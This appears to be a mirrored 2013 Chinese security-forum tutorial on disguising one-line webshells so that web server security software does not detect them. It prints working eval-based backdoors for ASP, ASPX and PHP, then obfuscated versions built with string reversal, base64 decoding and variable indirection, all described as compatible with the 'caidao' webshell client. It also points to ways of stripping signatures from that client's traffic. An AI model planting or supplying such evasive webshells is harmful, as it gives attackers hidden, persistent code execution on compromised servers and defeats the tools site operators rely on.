作者:
RedFree
·
2013/12/30 12:04
0x00 背景
話說現在針對Web端檔案程式碼檢測的伺服器安全類軟體已經非常普及了,常見的有阿D保護盾、安全狗、護衛神、360網站衛士。它們所擁有的功能也大致相同,如:
+---------------------㈠----------------------+
|① 檢查SQL隱碼攻擊 |
|② 檢查XSS程式碼 |
|③ 檢查網站中有危險程式碼的檔案 |
|④ 資料庫許可權管理、風險行為檢查 |
+---------------------㈡----------------------+
|⑤ 網站流量監控 |
|⑥ 網站日誌管理 |
|⑦ 系統程式管理 |
|⑧ 埠狀態檢視 |
|⑨ 系統賬號、特殊位置檔案檢查 |
|⑩ 防禦ddos、cc攻擊 |
| …… |
+-------------------------------------------+
可以將這些功能按下面進行分類:
+----(檢測Get內容)
|
+----(未入侵)-------|----(檢測Post內容)
| |
| +----(檢測Http請求頭、請求頻率等)
安全類軟體--|
| +----(日誌審查分析)
| |
+----(已入侵)-------|----(後門檢測清除)
|
+----(系統安全加固)
本文所針對的情況是:在已取得Webshell(一句話)[為什麼不是大馬呢,因為大馬被殺的機率更高]的情況下繞過網站安全類軟體的檢測成功執行任意程式碼。
0x01 技術細節
要讓“一句話”可以接收程式碼、執行程式碼、返回結果,首先要具備的條件是“一句話”已經透過檢查。好吧,少說廢話,開始行動吧!
已準備工具:
D盾_Web查殺(D盾殺的Shell比較全)
ASP、ASPX、PHP原生態無汙染一句話
<%eval request("z")%>;
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>;
<?php @eval($_POST['z']);?>
來看一下D盾對原生一句話的查殺情況吧!
Shit!,級別為5(eval後門)全部殺掉!這樣也就是說即使你的一句話已經躺在目標網站目錄了,訪問的時候也會被WAF斷掉連線。這樣一句話本身也就失去意義了,更別說去使用它了。
那麼這種情況下該怎麼做呢?我的答案是:就像Windows下做exe的免殺一樣,找到殺軟體殺掉的特徵碼然後改掉或是繞過。當然免殺Shell比免殺exe簡單的多了……
開始對我們的一句話做“免殺”吧!在此之前先來了解一句話木馬的原理。對比下asp、aspx、php一句話,你發現了什麼?
看到了吧,不同語言的一句話構成幾乎完全一致!(首先請求客戶端資料,然後執行請求到的資料)至於執行資料的來源,可以是Post,也可以是Get、cookies、session等(依然是Post、Get);如果考慮到資料長度、編碼、隱蔽性等諸多因素當然還是使用Post方法最為合適。
那麼伺服器安全類軟體殺的究竟是什麼東東呢?前面說過了:“特徵”,我們來做如下測試:
我把Request/POST前隨便加了一個字元,再掃一掃,結果如上圖。可見安全類軟體殺掉的不是eval(execute/executeglobal/assert……),而是eval+"請求資料"。當指令碼內有eval字串時僅僅只是提醒而已(如果連執行函式都殺,那“上帝”造它幹嗎!)。但是上圖中的三個指令碼沒一個是可以正常執行的,哪有srequest呢!
這樣我們就沒招了嗎?答案是否定的!我們可以用這樣的方式來繞一繞:[exec decoding(excoding)]=》虛擬碼。其中excoding為已經編碼了的原生一句話。encode和decode函式自己創造吧……
經過一番功夫,我把Shell程式碼改造如下(當然如下程式碼都不是最好的,因為我有點懶):
ASP:
#!php
<%
Function MorfiCode(Code)
MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)
End Function
Execute MorfiCode(")/*/z/*/(tseuqer lave")
%>
ASPX:
#!php
<script runat="server" language="Jscript">
function popup(str){
var q = "u";
var w = "afe";
var a = q + "ns" + w;
var b = eval(str,a);
return(b);
}
</script>
<%
popup(popup(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0="))));
%>
PHP
#!php
<?php
$mujj = $_POST['z'];
if($mujj!="")
{
$xsser = base64_decode($_POST['z0']);
@eval("\$safedg = $xsser;")
}
?>
效果呢,如下圖:
實測至此與Shell的連線已經不會被斷了,而且以上三個一句話都支援我們親愛的“菜刀”連線。但實際上你用菜刀是連不上的,因為安全類軟體還會檢測Get、Post、Cookies……的內容,菜刀Post資料包中含有太多的關鍵字(execute、response.write,base64_decode…… 不信你截包看一看)。這樣有什麼方法來突破呢?哈哈,兩種方法:
一、反彙編改造“菜刀”(依然會有特徵) 詳見:http://zone.wooyun.org/content/8169
二、自己寫個“菜刀”(可完全沒有任何特徵) 詳見:http://zone.wooyun.org/content/8137
程式碼自定義編碼後傳送
菜刀(客戶端)《================================》一句話(服務端)
解碼後執行返回(編碼)資料
現在,我們已經可以使用“菜刀”管理有網站安全類軟體的站點了,可美中不足的是依然會被提示Execute/eval/base64_decode加密。因為正常情況下很少有用到eval/execute/executeglobal……函式(有經驗的管理直接搜尋eval、execute、assert等,見到包含在、所以呢,看實際情況和使用的地方了,自己選擇。
透過簡單的變數傳遞便可以實現免殺(php語法真的好靈活,能免的連個毛都不剩下)……
我使用如下程式碼作為一句話:
#!php
<?php
$x=$_POST['z'];
@eval("\$safedg = $x;");
?>
當然您不滿意的話可以繼續搞,連eval都給拆了!使用preg_replace、array_map或是從REQUEST的變數中取得eval、assert……,實沒D盾都會有不同等級的報告(提示可疑但不認識,畢竟這些不常用函式都挺有風險……),我是挺懶,不想搞了……
看效果:
關於如何玩轉一句話已經寫的差不多了(本人水平問題ASPX、PHP未能寫的更詳細!以後補充……)。如果將來一句話因為關鍵字被殺實再玩不鳥了(可能性不太大),那就轉業自寫Customize指令碼吧,至少檔案讀寫,資料庫連線這些功能是不會被殺的。
參考:
http://qqhack8.blog.163.com/blog/static/114147985201211292209893/
http://hi.baidu.com/monyer/item/a218dbadf2afc7a828ce9d63
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!